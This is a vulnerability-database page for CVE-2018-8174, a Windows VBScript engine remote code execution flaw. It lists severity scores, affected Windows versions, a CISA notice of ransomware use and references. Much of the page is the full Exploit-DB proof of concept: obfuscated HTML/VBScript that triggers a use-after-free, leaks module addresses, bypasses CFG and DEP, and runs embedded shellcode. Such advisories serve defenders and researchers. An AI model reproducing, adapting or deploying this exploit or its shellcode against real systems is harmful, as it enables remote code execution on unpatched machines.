CVE-2018-8174 : Detail

CVE-2018-8174

7.5
/
High
Overflow
94.28%V4
Network
2018-05-09
19h00 +00:00
2025-02-07
16h38 +00:00
CVE.org
NVD
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CVE Descriptions

A remote code execution vulnerability exists in the way that the VBScript engine handles objects in memory, aka "Windows VBScript Engine Remote Code Execution Vulnerability." This affects Windows 7, Windows Server 2012 R2, Windows RT 8.1, Windows Server 2008, Windows Server 2012, Windows 8.1, Windows Server 2016, Windows Server 2008 R2, Windows 10, Windows 10 Servers.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-787 Out-of-bounds Write
The product writes data past the end, or before the beginning, of the intended buffer.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 7.5 HIGH CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

High

successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 nvd@nist.gov
V2 7.6 AV:N/AC:H/Au:N/C:C/I:C/A:C nvd@nist.gov

CISA KEV (Known Exploited Vulnerabilities)

Vulnerability name : Microsoft Windows VBScript Engine Out-of-Bounds Write Vulnerability

Required action : Apply updates per vendor instructions.

Known To Be Used in Ransomware Campaigns : Known

Added : 2022-02-14 23h00 +00:00

Action is due : 2022-08-14 22h00 +00:00

Important information
This CVE is identified as vulnerable and poses an active threat, according to the Catalog of Known Exploited Vulnerabilities (CISA KEV). The CISA has listed this vulnerability as actively exploited by cybercriminals, emphasizing the importance of taking immediate action to address this flaw. It is imperative to prioritize the update and remediation of this CVE to protect systems against potential cyberattacks.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 44741

Publication date : 2018-05-20 22h00 +00:00
Author : smgorelik
EDB Verified : No

<!doctype html> <html lang="en"> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <meta http-equiv="x-ua-compatible" content="IE=10"> <meta http-equiv="Expires" content="0"> <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Cache-control" content="no-cache"> <meta http-equiv="Cache" content="no-cache"> </head> <body> <script language="vbscript"> Dim lIIl Dim IIIlI(6),IllII(6) Dim IllI Dim IIllI(40) Dim lIlIIl,lIIIll Dim IlII Dim llll,IIIIl Dim llllIl,IlIIII Dim NtContinueAddr,VirtualProtectAddr IlII=195948557 lIlIIl=Unescape("%u0001%u0880%u0001%u0000%u0000%u0000%u0000%u0000%uffff%u7fff%u0000%u0000") lIIIll=Unescape("%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000") IllI=195890093 Function IIIII(Domain) lIlII=0 IllllI=0 IIlIIl=0 Id=CLng(Rnd*1000000) lIlII=CLng((&h27d+8231-&H225b)*Rnd)Mod (&h137d+443-&H152f)+(&h1c17+131-&H1c99) If(Id+lIlII)Mod (&h5c0+6421-&H1ed3)=(&h10ba+5264-&H254a) Then lIlII=lIlII-(&h86d+6447-&H219b) End If IllllI=CLng((&h2bd+6137-&H1a6d)*Rnd)Mod (&h769+4593-&H1940)+(&h1a08+2222-&H2255) IIlIIl=CLng((&h14e6+1728-&H1b5d)*Rnd)Mod (&hfa3+1513-&H1572)+(&h221c+947-&H256e) IIIII=Domain &"?" &Chr(IllllI) &"=" &Id &"&" &Chr(IIlIIl) &"=" &lIlII End Function Function lIIII(ByVal lIlIl) IIll="" For index=0 To Len(lIlIl)-1 IIll=IIll &lIlI(Asc(Mid(lIlIl,index+1,1)),2) Next IIll=IIll &"00" If Len(IIll)/(&h15c6+3068-&H21c0) Mod (&h1264+2141-&H1abf)=(&hc93+6054-&H2438) Then IIll=IIll &"00" End If For IIIl=(&h1a1a+3208-&H26a2) To Len(IIll)/(&h1b47+331-&H1c8e)-(&h14b2+4131-&H24d4) lIIIlI=Mid(IIll,IIIl*(&h576+1268-&Ha66)+(&ha64+6316-&H230f),(&ha49+1388-&Hfb3)) lIlIll=Mid(IIll,IIIl*(&hf82+3732-&H1e12)+(&h210+2720-&Hcaf)+(&h4fa+5370-&H19f2),(&hf82+5508-&H2504)) lIIII=lIIII &"%u" &lIlIll &lIIIlI Next End Function Function lIlI(ByVal Number,ByVal Length) IIII=Hex(Number) If Len(IIII)<Length Then IIII=String(Length-Len(IIII),"0") &IIII 'pad allign with zeros Else IIII=Right(IIII,Length) End If lIlI=IIII End Function Function GetUint32(lIII) Dim value llll.mem(IlII+8)=lIII+4 llll.mem(IlII)=8 'type string value=llll.P0123456789 llll.mem(IlII)=2 GetUint32=value End Function Function IllIIl(lIII) IllIIl=GetUint32(lIII) And (131071-65536) End Function Function lllII(lIII) lllII=GetUint32(lIII) And (&h17eb+1312-&H1c0c) End Function Sub llllll End Sub Function GetMemValue llll.mem(IlII)=(&h713+3616-&H1530) GetMemValue=llll.mem(IlII+(&h169c+712-&H195c)) End Function Sub SetMemValue(ByRef IlIIIl) llll.mem(IlII+(&h715+3507-&H14c0))=IlIIIl End Sub Function LeakVBAddr On Error Resume Next Dim lllll lllll=llllll lllll=null SetMemValue lllll LeakVBAddr=GetMemValue() End Function Function GetBaseByDOSmodeSearch(IllIll) Dim llIl llIl=IllIll And &hffff0000 Do While GetUint32(llIl+(&h748+4239-&H176f))<>544106784 Or GetUint32(llIl+(&ha2a+7373-&H268b))<>542330692 llIl=llIl-65536 Loop GetBaseByDOSmodeSearch=llIl End Function Function StrCompWrapper(lIII,llIlIl) Dim lIIlI,IIIl lIIlI="" For IIIl=(&ha2a+726-&Hd00) To Len(llIlIl)-(&h2e1+5461-&H1835) lIIlI=lIIlI &Chr(lllII(lIII+IIIl)) Next StrCompWrapper=StrComp(UCase(lIIlI),UCase(llIlIl)) End Function Function GetBaseFromImport(base_address,name_input) Dim import_rva,nt_header,descriptor,import_dir Dim IIIIII nt_header=GetUint32(base_address+(&h3c)) import_rva=GetUint32(base_address+nt_header+&h80) import_dir=base_address+import_rva descriptor=0 Do While True Dim Name Name=GetUint32(import_dir+descriptor*(&h14)+&hc) If Name=0 Then GetBaseFromImport=&hBAAD0000 Exit Function Else If StrCompWrapper(base_address+Name,name_input)=0 Then Exit Do End If End If descriptor=descriptor+1 Loop IIIIII=GetUint32(import_dir+descriptor*(&h14)+&h10) GetBaseFromImport=GetBaseByDOSmodeSearch(GetUint32(base_address+IIIIII)) End Function Function GetProcAddr(dll_base,name) Dim p,export_dir,index Dim function_rvas,function_names,function_ordin Dim Illlll p=GetUint32(dll_base+&h3c) p=GetUint32(dll_base+p+&h78) export_dir=dll_base+p function_rvas=dll_base+GetUint32(export_dir+&h1c) function_names=dll_base+GetUint32(export_dir+&h20) function_ordin=dll_base+GetUint32(export_dir+&h24) index=0 Do While True Dim lllI lllI=GetUint32(function_names+index*4) If StrCompWrapper(dll_base+lllI,name)=0 Then Exit Do End If index=index+1 Loop Illlll=IllIIl(function_ordin+index*2) p=GetUint32(function_rvas+Illlll*4) GetProcAddr=dll_base+p End Function Function GetShellcode() IIlI=Unescape("%u0000%u0000%u0000%u0000") &Unescape("%ue8fc%u0082%u0000%u8960%u31e5%u64c0%u508b%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf2e2%u5752%u528b%u8b10%u3c4a%u4c8b%u7811%u48e3%ud101%u8b51%u2059%ud301%u498b%ue318%u493a%u348b%u018b%u31d6%uacff%ucfc1%u010d%u38c7%u75e0%u03f6%uf87d%u7d3b%u7524%u58e4%u588b%u0124%u66d3%u0c8b%u8b4b%u1c58%ud301%u048b%u018b%u89d0%u2444%u5b24%u615b%u5a59%uff51%u5fe0%u5a5f%u128b%u8deb%u6a5d%u8d01%ub285%u0000%u5000%u3168%u6f8b%uff87%ubbd5%ub5f0%u56a2%ua668%ubd95%uff9d%u3cd5%u7c06%u800a%ue0fb%u0575%u47bb%u7213%u6a6f%u5300%ud5ff%u6163%u636c%u652e%u6578%u4100%u0065%u0000%u0000%u0000%u0000%u0000%ucc00%ucccc%ucccc%ucccc%ucccc" &lIIII(IIIII(""))) IIlI=IIlI & String((&h80000-LenB(IIlI))/2,Unescape("%u4141")) GetShellcode=IIlI End Function Function EscapeAddress(ByVal value) Dim High,Low High=lIlI((value And &hffff0000)/&h10000,4) Low=lIlI(value And &hffff,4) EscapeAddress=Unescape("%u" &Low &"%u" &High) End Function Function lIllIl Dim IIIl,IlllI,IIlI,IlIII,llllI,llIII,lIllI IlllI=lIlI(NtContinueAddr,8) IlIII=Mid(IlllI,1,2) llllI=Mid(IlllI,3,2) llIII=Mid(IlllI,5,2) lIllI=Mid(IlllI,7,2) IIlI="" IIlI=IIlI &"%u0000%u" &lIllI &"00" For IIIl=1 To 3 IIlI=IIlI &"%u" &llllI &llIII IIlI=IIlI &"%u" &lIllI &IlIII Next IIlI=IIlI &"%u" &llllI &llIII IIlI=IIlI &"%u00" &IlIII lIllIl=Unescape(IIlI) End Function Function WrapShellcodeWithNtContinueContext(ShellcodeAddrParam) 'bypass cfg Dim IIlI IIlI=String((100334-65536),Unescape("%u4141")) IIlI=IIlI &EscapeAddress(ShellcodeAddrParam) IIlI=IIlI &EscapeAddress(ShellcodeAddrParam) IIlI=IIlI &EscapeAddress(&h3000) IIlI=IIlI &EscapeAddress(&h40) IIlI=IIlI &EscapeAddress(ShellcodeAddrParam-8) IIlI=IIlI &String(6,Unescape("%u4242")) IIlI=IIlI &lIllIl() IIlI=IIlI &String((&h80000-LenB(IIlI))/2,Unescape("%u4141")) WrapShellcodeWithNtContinueContext=IIlI End Function Function ExpandWithVirtualProtect(lIlll) Dim IIlI Dim lllllI lllllI=lIlll+&h23 IIlI="" IIlI=IIlI &EscapeAddress(lllllI) IIlI=IIlI &String((&hb8-LenB(IIlI))/2,Unescape("%4141")) IIlI=IIlI &EscapeAddress(VirtualProtectAddr) IIlI=IIlI &EscapeAddress(&h1b) IIlI=IIlI &EscapeAddress(0) IIlI=IIlI &EscapeAddress(lIlll) IIlI=IIlI &EscapeAddress(&h23) IIlI=IIlI &String((&400-LenB(IIlI))/2,Unescape("%u4343")) ExpandWithVirtualProtect=IIlI End Function Sub ExecuteShellcode llll.mem(IlII)=&h4d 'DEP bypass llll.mem(IlII+8)=0 msgbox(IlII) 'VT replaced End Sub Class cla1 Private Sub Class_Terminate() Set IIIlI(IllI)=lIIl((&h1078+5473-&H25d8)) IllI=IllI+(&h14b5+2725-&H1f59) lIIl((&h79a+3680-&H15f9))=(&h69c+1650-&Hd0d) End Sub End Class Class cla2 Private Sub Class_Terminate() Set IllII(IllI)=lIIl((&h15b+3616-&Hf7a)) IllI=IllI+(&h880+542-&Ha9d) lIIl((&h1f75+342-&H20ca))=(&had3+3461-&H1857) End Sub End Class Class IIIlIl End Class Class llIIl Dim mem Function P End Function Function SetProp(Value) mem=Value SetProp=0 End Function End Class Class IIIlll Dim mem Function P0123456789 P0123456789=LenB(mem(IlII+8)) End Function Function SPP End Function End Class Class lllIIl Public Default Property Get P Dim llII P=174088534690791e-324 For IIIl=(&h7a0+4407-&H18d7) To (&h2eb+1143-&H75c) IIIlI(IIIl)=(&h2176+711-&H243d) Next Set llII=New IIIlll llII.mem=lIlIIl For IIIl=(&h1729+3537-&H24fa) To (&h1df5+605-&H204c) Set IIIlI(IIIl)=llII Next End Property End Class Class llllII Public Default Property Get P Dim llII P=636598737289582e-328 For IIIl=(&h1063+2314-&H196d) To (&h4ac+2014-&Hc84) IllII(IIIl)=(&h442+2598-&He68) Next Set llII=New IIIlll llII.mem=lIIIll For IIIl=(&h7eb+3652-&H162f) To (&h3e8+1657-&Ha5b) Set IllII(IIIl)=llII Next End Property End Class Set llllIl=New lllIIl Set IlIIII=New llllII Sub UAF For IIIl=(&hfe8+3822-&H1ed6) To (&h8b+8633-&H2233) Set IIllI(IIIl)=New IIIlIl Next For IIIl=(&haa1+6236-&H22e9) To (&h1437+3036-&H1fed) Set IIllI(IIIl)=New llIIl Next IllI=0 For IIIl=0 To 6 ReDim lIIl(1) Set lIIl(1)=New cla1 Erase lIIl Next Set llll=New llIIl IllI=0 For IIIl=0 To 6 ReDim lIIl(1) Set lIIl(1)=New cla2 Erase lIIl Next Set IIIIl=New llIIl End Sub Sub InitObjects llll.SetProp(llllIl) IIIIl.SetProp(IlIIII) IlII=IIIIl.mem End Sub Sub StartExploit UAF InitObjects vb_adrr=LeakVBAddr() Alert "CScriptEntryPointObject Leak: 0x" & Hex(vb_adrr) & vbcrlf & "VirtualTable address: 0x" & Hex(GetUint32(vb_adrr)) vbs_base=GetBaseByDOSmodeSearch(GetUint32(vb_adrr)) Alert "VBScript Base: 0x" & Hex(vbs_base) msv_base=GetBaseFromImport(vbs_base,"msvcrt.dll") Alert "MSVCRT Base: 0x" & Hex(msv_base) krb_base=GetBaseFromImport(msv_base,"kernelbase.dll") Alert "KernelBase Base: 0x" & Hex(krb_base) ntd_base=GetBaseFromImport(msv_base,"ntdll.dll") Alert "Ntdll Base: 0x" & Hex(ntd_base) VirtualProtectAddr=GetProcAddr(krb_base,"VirtualProtect") Alert "KernelBase!VirtualProtect Address 0x" & Hex(VirtualProtectAddr) NtContinueAddr=GetProcAddr(ntd_base,"NtContinue") Alert "KernelBase!VirtualProtect Address 0x" & Hex(NtContinueAddr) SetMemValue GetShellcode() ShellcodeAddr=GetMemValue()+8 Alert "Shellcode Address 0x" & Hex(ShellcodeAddr) SetMemValue WrapShellcodeWithNtContinueContext(ShellcodeAddr) lIlll=GetMemValue()+69596 SetMemValue ExpandWithVirtualProtect(lIlll) llIIll=GetMemValue() Alert "Executing Shellcode" ExecuteShellcode End Sub StartExploit </script> </body> </html>

Products Mentioned

Configuraton 0

Microsoft>>Windows_10_1607 >> Version -

Microsoft>>Windows_10_1703 >> Version -

Microsoft>>Windows_10_1709 >> Version -

Microsoft>>Windows_10_1803 >> Version -

Microsoft>>Windows_7 >> Version -

Microsoft>>Windows_8.1 >> Version -

Microsoft>>Windows_rt_8.1 >> Version -

Microsoft>>Windows_server_2008 >> Version -

Microsoft>>Windows_server_2008 >> Version r2

Microsoft>>Windows_server_2008 >> Version r2

Microsoft>>Windows_server_2012 >> Version -

Microsoft>>Windows_server_2012 >> Version r2

Microsoft>>Windows_server_2016 >> Version -

References

https://www.exploit-db.com/exploits/44741/
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.securityfocus.com/bid/103998
Tags : vdb-entry, x_refsource_BID
The information presented on CVE Find originates from several carefully selected reference sources. CVE data is provided by MITRE Corporation and the National Vulnerability Database (NVD). The Known Exploited Vulnerabilities (KEV) catalog is sourced from the Cybersecurity and Infrastructure Security Agency (CISA), while EPSS scores come from FIRST.org. Additionally, data regarding software weaknesses (CWE) and common attack patterns (CAPEC) is maintained by MITRE Corporation, and information on hardware and software configurations (CPE) is provided by the NVD.